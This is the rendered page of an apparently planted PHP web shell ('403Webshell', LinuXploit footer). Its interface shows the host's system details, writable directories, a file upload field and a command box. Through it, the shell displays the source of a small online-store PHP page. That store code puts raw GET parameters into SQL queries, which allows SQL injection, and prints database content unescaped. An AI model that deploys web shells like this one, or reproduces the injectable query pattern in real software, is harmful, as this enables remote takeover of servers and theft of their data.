403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.48
Web Server : Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
System : Windows NT DESKTOP-3H4FHQJ 10.0 build 19045 (Windows 10) AMD64
User : win 10 ( 0)
PHP Version : 8.2.12
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  D:/New folder/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : D:/New folder/selectionk.php
<html>
<?php 
session_start();
include('db.php'); 
//include('function.php');
?>

<?php
if(isset($_SESSION['id']))
{
//$_SESSION['email']=$user_email;
$my_id = $_SESSION['id'];
//echo"$my_id";
}
?>

<div style="display:none;" >
<input type="text" id="my_id" class="helping_id" style="display:none;" value="<?php echo $my_id;?>"> 

 <?php
$user_ip = getenv('REMOTE_ADDR');
$geo = unserialize(file_get_contents("http://www.geoplugin.net/php.gp?ip=$user_ip"));
$city = $geo["geoplugin_city"];
$region = $geo["geoplugin_regionName"];
$country = $geo["geoplugin_countryName"];
/*echo"$user_ip";
echo "City: ".$city."<br>";
echo "Region: ".$region."<br>";
echo "Country: ".$country."<br>";
/*
geoplugin_request
geoplugin_status
geoplugin_credit
geoplugin_city
geoplugin_region
geoplugin_areaCode
geoplugin_dmaCode
geoplugin_countryCode
geoplugin_countryName
geoplugin_continentCode
geoplugin_latitude
geoplugin_longitude
geoplugin_regionCode
geoplugin_regionName
geoplugin_currencyCode
geoplugin_currencySymbol
geoplugin_currencySymbol_UTF8
geoplugin_currencyConverter
*/


?>

<input type="text" id="country_user" class="helping_id" style="display:none;" value="<?php echo $country;?>"> 
<input type="text" id="region_user" class="helping_id" style="display:none;" value="<?php echo $region;?>">
<input type="text" id="city_user" class="helping_id" style="display:none;" value="<?php echo $city;?>">
<input type="text" id="ip_user" class="helping_id" style="display:none;" value="<?php echo $user_ip;?>">

</div>

<head>

<title>online store</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!--link rel="icon" href="kvt_con/khalaf_log.jpg" type="image/ico"-->
<link rel="stylesheet" type="text/css" href="main_css/selection.css" />
<script data-ad-client="ca-pub-5844229537144835" async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>

</head>

<body id="body">


<div class="banner_div" > 

<div class="log_div" > 

<img src="main_icons/crane log.jpeg" class="main_log_home" />
<div id="" class="hi_title">Cb mart</div>

</div>


<div class="home_right_div">




<img src="main_icons/cate.png" onClick="show_category_div();" width="50" height="50" style="float:left;cursor:pointer;" />
<button onClick="show_category_div();"  class="home_btn">Categories</button>


<a href="http://craneblue.com/market/store"><button class="home_btn">Home</button></a>

<!--button idk="show_status_btn" onmouseover="show_status_btn_div();" class="home_btn">Product Status</button-->

<?php
if(isset($_SESSION['id']))
{?>
<a href="log_out"><button class="home_upload_ad_btn">Logout</button></a>
<a href="upload_ad"><button class="home_upload_ad_btn">Sell Ad</button></a>
<?php }else{ ?>

<a href="login"><button class="home_upload_ad_btn">Login</button></a>
<a href="login"><button class="home_upload_ad_btn">Sell Ad</button></a>

<?php } ?>

<img onClick="show_search_result();" src="main_icons/search_icon.png" width="30" height="30" class="ad_search_btn" />
<input type="text" id="ad_search_input_pc" onkeyup="show_search_result();" class="ad_search_input" placeholder="search..." />


</div>

</div>


<div id="category_div" onmouseleave="close_category_div();" class="category_div">

<a href="store"><button class="category_btn">All Products</button></a>

<button onClick="display_product_category(3);" class="category_btn">Computers</button>
<button onClick="display_product_category(4);" class="category_btn">Phones</button>
<button onClick="display_product_category(12);" class="category_btn">Phones Accessories</button>
<button onClick="display_product_category(5);" class="category_btn">Electronics</button>
<button onClick="display_product_category(6);" class="category_btn">Beauty & Health</button>
<button onClick="display_product_category(13);" class="category_btn">Men Fashion</button>
<button onClick="display_product_category(7);" class="category_btn">Furniture</button>
<button onClick="display_product_category(8);" class="category_btn">Appliances</button>
<button onClick="display_product_category(9);" class="category_btn">Sports & Outdoors</button>
<button onClick="display_product_category(10);" class="category_btn"> Women Kids Goods</button>
<button onClick="display_product_category(11);" class="category_btn">Home & Garden</button>
<a href="http://khalafsons.com"><button onClick="display_product_category(12);" class="category_btn">House For Rent</button></a>



<a href="http://khalafsons.com"><button onClick="display_product_category(12);" class="category_btn">House For Rent</button></a>

</div>




<div class="main_home_area" style="display:none;" >


<div class="sub_home_btn_area"  >

<div class="show_mob_search_div_protecting_div">
<img onClick="show_mob_search_div();" id="show_mob_search_div" src="main_icons/search_icon2.png" width="30" height="30" class="mob_location_icon_btn" style="cursor:pointer;" />
</div>

<a href="http://craneblue.com/market/store"><button class="home_btn">Home</button></a>

<button idk="show_status_btn" onmouseover="show_status_btn_div();" class="home_btn">Product Status</button>

<button onmouseover="show_category_div();"  class="home_btn">Categories</button>

<input type="text" id="ad_search_input_pc" onkeyup="show_search_result();" class="ad_search_input" placeholder="search..." />
<img onClick="show_search_result();" src="main_icons/search_icon.png" width="30" height="30" class="ad_search_btn" />
<?php
if(isset($_SESSION['id']))
{?>
<a href="log_out"><button class="home_upload_ad_btn">Logout</button></a>
<a href="upload_ad"><button class="home_upload_ad_btn">Sell Ad</button></a>
<?php }else{ ?>

<a href="login"><button class="home_upload_ad_btn">Login</button></a>
<a href="login"><button class="home_upload_ad_btn">Sell Ad</button></a>

<?php } ?>

<div class="mob_menu_icon_btn_css_protector">

<img id="show_menu_div" onClick="show_menu_div();" src="main_icons/menu_icon.png" class="mob_menu_icon_btn" />
<img id="close_menu_div" onClick="close_menu_div();" src="main_icons/close_mob_menu.png" class="mob_menu_icon_btn" style="display:none;" />

</div>
<div class="home_current_country" >
<img src="main_icons/location_icon.png" class="location_icon_btn" />

<div class="location_icon_text"><?php echo $country;?></div>

</div>


</div>

<div id="status_btn_div" onmouseleave="close_status_btn_div();" class="status_btn_div">

<a href="store"><button class="category_btn">All Status</button></a>
<button onClick="display_brand_status(1);" classk="home_btn" class="category_btn" >Brand New</button>
<button classk="home_btn" class="category_btn"; onClick="display_brand_status(2);" idk="brand_status">Second Hand</button>

</div>


<div id="category_div" onmouseleave="close_category_div();" class="category_div">

<a href="store"><button class="category_btn">All Products</button></a>

<button onClick="display_product_category(3);" class="category_btn">Computers</button>
<button onClick="display_product_category(4);" class="category_btn">Phones</button>
<button onClick="display_product_category(12);" class="category_btn">Phones Accessories</button>
<button onClick="display_product_category(5);" class="category_btn">Electronics</button>
<button onClick="display_product_category(6);" class="category_btn">Beauty & Health</button>
<button onClick="display_product_category(13);" class="category_btn">Men Fashion</button>
<button onClick="display_product_category(7);" class="category_btn">Furniture</button>
<button onClick="display_product_category(8);" class="category_btn">Appliances</button>
<button onClick="display_product_category(9);" class="category_btn">Sports & Outdoors</button>
<button onClick="display_product_category(10);" class="category_btn"> Women Kids Goods</button>
<button onClick="display_product_category(11);" class="category_btn">Home & Garden</button>
<a href="http://khalafsons.com"><button onClick="display_product_category(12);" class="category_btn">House For Rent</button></a>



<a href="http://khalafsons.com"><button onClick="display_product_category(12);" class="category_btn">House For Rent</button></a>

</div>

<div class="ad_search_input_mob_protecting_div">
<input type="text" id="ad_search_input_mob" onkeyup="show_search_result();" class="mob_ad_search_input" placeholder="search..." />
<button onClick="close_mob_search_div();" id="mob_ad_search_btn" class="mob_ad_search_btn">x</button>
</div>

<script>

function show_status_btn_div()
{
 document.getElementById('status_btn_div').style.display="block";
document.getElementById('category_div').style.display="none"; 
document.getElementById('show_status_btn').style="height:25px;background:Silver;border-radius:5px;";
document.getElementById('show_category_btn').style.background="transparent";

//alert(4);
}
function close_status_btn_div()
{
	document.getElementById('status_btn_div').style.display="none";
	document.getElementById('show_status_btn').style.background="transparent";
}

function show_category_div()
{
	document.getElementById('category_div').style.display="block";
	document.getElementById('status_btn_div').style.display="none";
	document.getElementById('show_category_btn').style="height:25px;background:Silver;border-radius:5px;";
	document.getElementById('show_status_btn').style.background="transparent";
	
}
function close_category_div()
{
	document.getElementById('category_div').style.display="none";
	document.getElementById('show_category_btn').style.background="transparent";
}

function show_menu_div()
{
	scrollTo(0,0);
	document.getElementById('mob_menu_div').style.display="block";
	document.getElementById('body').style="overflow:hidden;";
	
	document.getElementById('close_menu_div').style.display="block";
	document.getElementById('show_menu_div').style.display="none";
	
	document.getElementById('ad_search_input_mob').style.display="none";
	document.getElementById('mob_ad_search_btn').style.display="none";
	document.getElementById('show_mob_search_div').style.display="block";
	
	//document.getElementById('show_status_btn').style="height:30px;background:Silver;border-radius:5px;";
	
}
function close_menu_div()
{
	//scrollTo(0,0);
	document.getElementById('mob_menu_div').style.display="none";
	document.getElementById('body').style="overflow:auto;";
	
	document.getElementById('close_menu_div').style.display="none";
	document.getElementById('show_menu_div').style.display="block";
	
	document.getElementById('category_div').style.display="none"; 
	document.getElementById('status_btn_div').style.display="none";

}


function show_mob_search_div()
{
	//alert('yop'); 
	document.getElementById('ad_search_input_mob').style.display="block";
	document.getElementById('mob_ad_search_btn').style.display="block";
	document.getElementById('show_mob_search_div').style.display="none";
	document.getElementById('main_banner_area').style="margin-top:60px;";
	document.getElementById('display_search_result_div').style="margin-top:60px;display:block;";
	scrollTo(0,0);
	
	document.getElementById('mob_menu_div').style.display="none";
	document.getElementById('body').style="overflow:auto;";
	
	document.getElementById('close_menu_div').style.display="none";
	document.getElementById('show_menu_div').style.display="block";
	
	document.getElementById('category_div').style.display="none"; 
	document.getElementById('status_btn_div').style.display="none";
}
function close_mob_search_div()
{
	//alert('yop'); 
	document.getElementById('ad_search_input_mob').style.display="none";
	document.getElementById('mob_ad_search_btn').style.display="none";
	document.getElementById('show_mob_search_div').style.display="block";
	document.getElementById('main_banner_area').style.style="margin-top:15px;";
	document.getElementById('display_search_result_div').style="margin-top:15px;display:block;";
}

</script>

</div>
<div class="positioning_div" style="display:none;" ></div>

<div id="mob_menu_div" class="mob_menu_div">

<a href="http://craneblue.com/market/store"><button class="mob_home_btn">Home</button></a>

<button id="show_status_btn" onmouseover="show_status_btn_div();" class="mob_home_btn">Product Status</button>

<button id="show_category_btn" onmouseover="show_category_div();"  class="mob_home_btn">Categories</button>

<!--a href="upload_ad"><button class="mob_home_btn">Sell with us</button></a-->

<?php
if(isset($_SESSION['id']))
{?>
<a href="upload_ad"><button class="mob_home_btn">Sell with us</button></a>
<a href="log_out"><button class="mob_home_btn">Logout</button></a>

<?php }else{ ?>
<a href="login"><button class="mob_home_btn">Sell with us</button></a>
<a href="login"><button class="mob_home_btn">Login</button></a>


<?php } ?>


</div>


<div class="sel_content_div" >

<div class="sub_sel_content_div" >

<?php
if(isset($_GET['cate']))
{

$product_cate = $_GET['cate'];
//echo"$product_cate";
//}
?>


<div class="top_selection_title" >Top Selections </div>

<?php
$get_advert = "select * from adverttb where product_category='$product_cate' ORDER BY rand()";
$run_advert = mysqli_query($con,$get_advert);
while($row_advert = mysqli_fetch_array($run_advert))
{
	$product_id = $row_advert['id'];
	$product_name = $row_advert['product_name'];
	$product_detail = $row_advert['product_detail'];
	$product_image = $row_advert['product_image'];
	$product_url = $row_advert['product_url'];
	$product_price = $row_advert['product_price'];
	$product_category = $row_advert['product_category'];
	
?>

<div class="sel_single_ad_div" >
<!--div class="sel_single_ad_img" ></div-->
<a href="detail.php?your_ad=<?php echo"$product_id";?> ">
<img src="advert_images/<?php echo"$product_image"; ?>" class="sel_single_ad_img" />
</a>

<div class="sel_single_ad_detail" >
<div class="sel_single_ad_name" ><a href="detail.php?your_ad=<?php echo"$product_id";?> "><?php echo"$product_name"; ?></a></div>
<?php echo"$product_detail"; ?>

</div>
<div class="sel_single_ad_btn" >
<div class="sel_price_div" >UGX: <?php echo"$product_price"; ?>/=</div>
<a href="detail.php?your_ad=<?php echo"$product_id";?> "><button class="sel_buy_btn" >Buy Now</button></a>

</div>

</div>

<?php } } ?>










<?php
if(isset($_GET['rank']))
{

$product_cate = $_GET['rank'];
//echo"$product_cate";
//}
?>



<div class="top_selection_title" >Top Rankings </div>

<?php
$get_advert = "select * from adverttb where product_category='$product_cate' ORDER BY rand()";
$run_advert = mysqli_query($con,$get_advert);
while($row_advert = mysqli_fetch_array($run_advert))
{
	$product_id = $row_advert['id'];
	$product_name = $row_advert['product_name'];
	$product_detail = $row_advert['product_detail'];
	$product_image = $row_advert['product_image'];
	$product_url = $row_advert['product_url'];
	$product_price = $row_advert['product_price'];
	$product_category = $row_advert['product_category'];
	
?>

<div class="sel_single_ad_div" >
<!--div class="sel_single_ad_img" ></div-->
<a href="detail.php?your_ad=<?php echo"$product_id";?> ">
<img src="advert_images/<?php echo"$product_image"; ?>" class="sel_single_ad_img" />
</a>

<div class="sel_single_ad_detail" >
<div class="sel_single_ad_name" ><a href="detail.php?your_ad=<?php echo"$product_id";?> "><?php echo"$product_name"; ?></a></div>
<?php echo"$product_detail"; ?>

</div>
<div class="sel_single_ad_btn" >
<div class="sel_price_div" >UGX: <?php echo"$product_price"; ?>/=</div>
<button class="sel_buy_btn" >Buy Now</button>

</div>

</div>

<?php } } ?>








</div><!--end of sub_sel_content_div-->

</div><!--end of sel_content_div-->





<div id="main_content_area" class="main_content_area">
<div id="sub_content_area" class="sub_content_area">

<?php
if(isset($_GET['itlist']))
{

//$product_cate = $_GET['rank'];
//echo"$product_cate";
//}
?>



<div class="popular_tip" >Basic Items List</div>


<?php
$get_advert = "select * from adverttb order by id desc";
$run_advert = mysqli_query($con,$get_advert);
while($row_advert = mysqli_fetch_array($run_advert))
{
	$product_id = $row_advert['id'];
	$product_name = $row_advert['product_name'];
	$product_detail = $row_advert['product_detail'];
	$product_image = $row_advert['product_image'];
	$product_url = $row_advert['product_url'];
	$product_price = $row_advert['product_price'];
	$currency_name = $row_advert['currency_name'];
	
?>

<input type="text" id="product_id<?php echo $product_id;?>" class="helping_id" style="display:none;" value="<?php echo $product_id;?>">
<div class="single_advert">


<div class="product_image_div" >

<?php if($product_url !==""){ ?>

<a href="<?php echo $product_url ?>">
<img src="advert_images/<?php echo"$product_image"; ?>" onClick="get_user_view(this.id);" id="<?php echo $product_id;?>" class="ad_product_image" style="" />
</a>

<?php }else{ $tincy =rand(); ?>

<a href="detail.php?your_ad=<?php echo"$product_id";?> ">

<img src="advert_images/<?php echo"$product_image"; ?>" onClick="get_user_view(this.id);" id="<?php echo $product_id;?>" class="ad_product_image" style="" />
</a>

<?php } ?>

</div>

<div class="product_name_text"><?php echo $product_name; ?></div>
<div class="detailed_text"><?php echo $product_detail; ?></div>

<div class="ad_view_div">
<?php

$get_view ="select * from ad_viewtb where ad_product_id='$product_id'";
$run_get_ad_view = mysqli_query($con,$get_view);
$check_view = mysqli_num_rows($run_get_ad_view);
if($check_view >0){
	
	if($check_view >1){echo"views: ";}else{echo"view: ";}
	echo"$check_view ";
	
	}

//views

?>

</div>

<?php  
if($product_price){echo"<div class='show_price'>$currency_name $product_price</div>";}else{
?>
<a href="<?php echo $product_url ?>">
<button onClick="get_user_view(this.id);" id="<?php echo $product_id;?>" class="show_price">Price</button>
</a>
<?php } ?>
</div><!--end of single_advert-->
<?php } } ?>

</div><!--end of sub_content_area-->
</div><!--end of main_content_area-->









<div id="main_content_area" class="main_content_area">
<div id="sub_content_area" class="sub_content_area">

<?php
if(isset($_GET['fash_men']))
{

//$product_cate = $_GET['rank'];
//echo"$product_cate";
//}
?>



<div class="popular_tip" >Men's Fashion</div>


<?php
$get_advert = "select * from adverttb where product_category='Men Fashions' order by id desc";
$run_advert = mysqli_query($con,$get_advert);
while($row_advert = mysqli_fetch_array($run_advert))
{
	$product_id = $row_advert['id'];
	$product_name = $row_advert['product_name'];
	$product_detail = $row_advert['product_detail'];
	$product_image = $row_advert['product_image'];
	$product_url = $row_advert['product_url'];
	$product_price = $row_advert['product_price'];
	$currency_name = $row_advert['currency_name'];
	
?>

<input type="text" id="product_id<?php echo $product_id;?>" class="helping_id" style="display:none;" value="<?php echo $product_id;?>">
<div class="single_advert">


<div class="product_image_div" >

<?php if($product_url !==""){ ?>

<a href="<?php echo $product_url ?>">
<img src="advert_images/<?php echo"$product_image"; ?>" onClick="get_user_view(this.id);" id="<?php echo $product_id;?>" class="ad_product_image" style="" />
</a>

<?php }else{ $tincy =rand(); ?>

<a href="detail.php?your_ad=<?php echo"$product_id";?> ">

<img src="advert_images/<?php echo"$product_image"; ?>" onClick="get_user_view(this.id);" id="<?php echo $product_id;?>" class="ad_product_image" style="" />
</a>

<?php } ?>

</div>

<div class="product_name_text"><?php echo $product_name; ?></div>
<div class="detailed_text"><?php echo $product_detail; ?></div>

<div class="ad_view_div">
<?php

$get_view ="select * from ad_viewtb where ad_product_id='$product_id'";
$run_get_ad_view = mysqli_query($con,$get_view);
$check_view = mysqli_num_rows($run_get_ad_view);
if($check_view >0){
	
	if($check_view >1){echo"views: ";}else{echo"view: ";}
	echo"$check_view ";
	
	}

//views

?>

</div>

<?php  
if($product_price){echo"<div class='show_price'>$currency_name $product_price</div>";}else{
?>
<a href="<?php echo $product_url ?>">
<button onClick="get_user_view(this.id);" id="<?php echo $product_id;?>" class="show_price">Price</button>
</a>
<?php } ?>
</div><!--end of single_advert-->
<?php } } ?>

</div><!--end of sub_content_area-->
</div><!--end of main_content_area-->












<div id="main_content_area" class="main_content_area">
<div id="sub_content_area" class="sub_content_area">

<?php
if(isset($_GET['fash_women']))
{

//$product_cate = $_GET['rank'];
//echo"$product_cate";
//}
?>



<div class="popular_tip" >Women's Fashion</div>


<?php
$get_advert = "select * from adverttb where product_category='Women Fashions' order by id desc";
$run_advert = mysqli_query($con,$get_advert);
while($row_advert = mysqli_fetch_array($run_advert))
{
	$product_id = $row_advert['id'];
	$product_name = $row_advert['product_name'];
	$product_detail = $row_advert['product_detail'];
	$product_image = $row_advert['product_image'];
	$product_url = $row_advert['product_url'];
	$product_price = $row_advert['product_price'];
	$currency_name = $row_advert['currency_name'];
	
?>

<input type="text" id="product_id<?php echo $product_id;?>" class="helping_id" style="display:none;" value="<?php echo $product_id;?>">
<div class="single_advert">


<div class="product_image_div" >

<?php if($product_url !==""){ ?>

<a href="<?php echo $product_url ?>">
<img src="advert_images/<?php echo"$product_image"; ?>" onClick="get_user_view(this.id);" id="<?php echo $product_id;?>" class="ad_product_image" style="" />
</a>

<?php }else{ $tincy =rand(); ?>

<a href="detail.php?your_ad=<?php echo"$product_id";?> ">

<img src="advert_images/<?php echo"$product_image"; ?>" onClick="get_user_view(this.id);" id="<?php echo $product_id;?>" class="ad_product_image" style="" />
</a>

<?php } ?>

</div>

<div class="product_name_text"><?php echo $product_name; ?></div>
<div class="detailed_text"><?php echo $product_detail; ?></div>

<div class="ad_view_div">
<?php

$get_view ="select * from ad_viewtb where ad_product_id='$product_id'";
$run_get_ad_view = mysqli_query($con,$get_view);
$check_view = mysqli_num_rows($run_get_ad_view);
if($check_view >0){
	
	if($check_view >1){echo"views: ";}else{echo"view: ";}
	echo"$check_view ";
	
	}

//views

?>

</div>

<?php  
if($product_price){echo"<div class='show_price'>$currency_name $product_price</div>";}else{
?>
<a href="<?php echo $product_url ?>">
<button onClick="get_user_view(this.id);" id="<?php echo $product_id;?>" class="show_price">Price</button>
</a>
<?php } ?>
</div><!--end of single_advert-->
<?php } } ?>

</div><!--end of sub_content_area-->
</div><!--end of main_content_area-->







<div id="main_content_area" class="main_content_area">
<div id="sub_content_area" class="sub_content_area">

<?php
if(isset($_GET['ph_pc']))
{

//$product_cate = $_GET['rank'];
//echo"$product_cate";
//}
?>



<div class="popular_tip" >Phones & Computers</div>


<?php
$get_advert = "select * from adverttb where product_category='Phones' order by id desc";
$run_advert = mysqli_query($con,$get_advert);
while($row_advert = mysqli_fetch_array($run_advert))
{
	$product_id = $row_advert['id'];
	$product_name = $row_advert['product_name'];
	$product_detail = $row_advert['product_detail'];
	$product_image = $row_advert['product_image'];
	$product_url = $row_advert['product_url'];
	$product_price = $row_advert['product_price'];
	$currency_name = $row_advert['currency_name'];
	
?>

<input type="text" id="product_id<?php echo $product_id;?>" class="helping_id" style="display:none;" value="<?php echo $product_id;?>">
<div class="single_advert">


<div class="product_image_div" >

<?php if($product_url !==""){ ?>

<a href="<?php echo $product_url ?>">
<img src="advert_images/<?php echo"$product_image"; ?>" onClick="get_user_view(this.id);" id="<?php echo $product_id;?>" class="ad_product_image" style="" />
</a>

<?php }else{ $tincy =rand(); ?>

<a href="detail.php?your_ad=<?php echo"$product_id";?> ">

<img src="advert_images/<?php echo"$product_image"; ?>" onClick="get_user_view(this.id);" id="<?php echo $product_id;?>" class="ad_product_image" style="" />
</a>

<?php } ?>

</div>

<div class="product_name_text"><?php echo $product_name; ?></div>
<div class="detailed_text"><?php echo $product_detail; ?></div>

<div class="ad_view_div">
<?php

$get_view ="select * from ad_viewtb where ad_product_id='$product_id'";
$run_get_ad_view = mysqli_query($con,$get_view);
$check_view = mysqli_num_rows($run_get_ad_view);
if($check_view >0){
	
	if($check_view >1){echo"views: ";}else{echo"view: ";}
	echo"$check_view ";
	
	}

//views

?>

</div>

<?php  
if($product_price){echo"<div class='show_price'>$currency_name $product_price</div>";}else{
?>
<a href="<?php echo $product_url ?>">
<button onClick="get_user_view(this.id);" id="<?php echo $product_id;?>" class="show_price">Price</button>
</a>
<?php } ?>
</div><!--end of single_advert-->
<?php } } ?>

</div><!--end of sub_content_area-->
</div><!--end of main_content_area-->










<div id="main_content_area" class="main_content_area">
<div id="sub_content_area" class="sub_content_area">

<?php
if(isset($_GET['electr']))
{

//$product_cate = $_GET['rank'];
//echo"$product_cate";
//}
?>



<div class="popular_tip" >Electronics</div>


<?php
$get_advert = "select * from adverttb where product_category='Electronics' order by id desc";
$run_advert = mysqli_query($con,$get_advert);
while($row_advert = mysqli_fetch_array($run_advert))
{
	$product_id = $row_advert['id'];
	$product_name = $row_advert['product_name'];
	$product_detail = $row_advert['product_detail'];
	$product_image = $row_advert['product_image'];
	$product_url = $row_advert['product_url'];
	$product_price = $row_advert['product_price'];
	$currency_name = $row_advert['currency_name'];
	
?>

<input type="text" id="product_id<?php echo $product_id;?>" class="helping_id" style="display:none;" value="<?php echo $product_id;?>">
<div class="single_advert">


<div class="product_image_div" >

<?php if($product_url !==""){ ?>

<a href="<?php echo $product_url ?>">
<img src="advert_images/<?php echo"$product_image"; ?>" onClick="get_user_view(this.id);" id="<?php echo $product_id;?>" class="ad_product_image" style="" />
</a>

<?php }else{ $tincy =rand(); ?>

<a href="detail.php?your_ad=<?php echo"$product_id";?> ">

<img src="advert_images/<?php echo"$product_image"; ?>" onClick="get_user_view(this.id);" id="<?php echo $product_id;?>" class="ad_product_image" style="" />
</a>

<?php } ?>

</div>

<div class="product_name_text"><?php echo $product_name; ?></div>
<div class="detailed_text"><?php echo $product_detail; ?></div>

<div class="ad_view_div">
<?php

$get_view ="select * from ad_viewtb where ad_product_id='$product_id'";
$run_get_ad_view = mysqli_query($con,$get_view);
$check_view = mysqli_num_rows($run_get_ad_view);
if($check_view >0){
	
	if($check_view >1){echo"views: ";}else{echo"view: ";}
	echo"$check_view ";
	
	}

//views

?>

</div>

<?php  
if($product_price){echo"<div class='show_price'>$currency_name $product_price</div>";}else{
?>
<a href="<?php echo $product_url ?>">
<button onClick="get_user_view(this.id);" id="<?php echo $product_id;?>" class="show_price">Price</button>
</a>
<?php } ?>
</div><!--end of single_advert-->
<?php } } ?>

</div><!--end of sub_content_area-->
</div><!--end of main_content_area-->












<div class="footer" >

<div class="information_footer" >
<div class="title_footer" >INFORMATION</div>
<div class="links_footer" >About us</div>
<div class="links_footer" >Contact us</div>


<?php
if(isset($_SESSION['id']))
{?>
<a href="log_out"><div class="links_footer" >Logout</button></div></a>
<a href="upload_ad"><div class="links_footer" >Sell Ad</button></div></a>
<?php }else{ ?>
<a href="login"><div class="links_footer" >Sell Ad</button></div></a>
<a href="login"><div class="links_footer" >Login</button></div></a>


<?php } ?>




</div>

<div class="information_footer" >
<div class="title_footer" >POLICY USE</div>
<div class="links_footer" >Terms of use</div>
<div class="links_footer" >Security</div>
<div class="links_footer" >Cookie Policy</div>
</div>

<div class="information_footer" >
<div class="title_footer" >LOCATIONS</div>
<div class="links_footer" >Kampala</div>
<div class="links_footer" >Mukono</div>
<div class="links_footer" >Mbarara</div>
</div>


</div><!--end of footer-->





</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit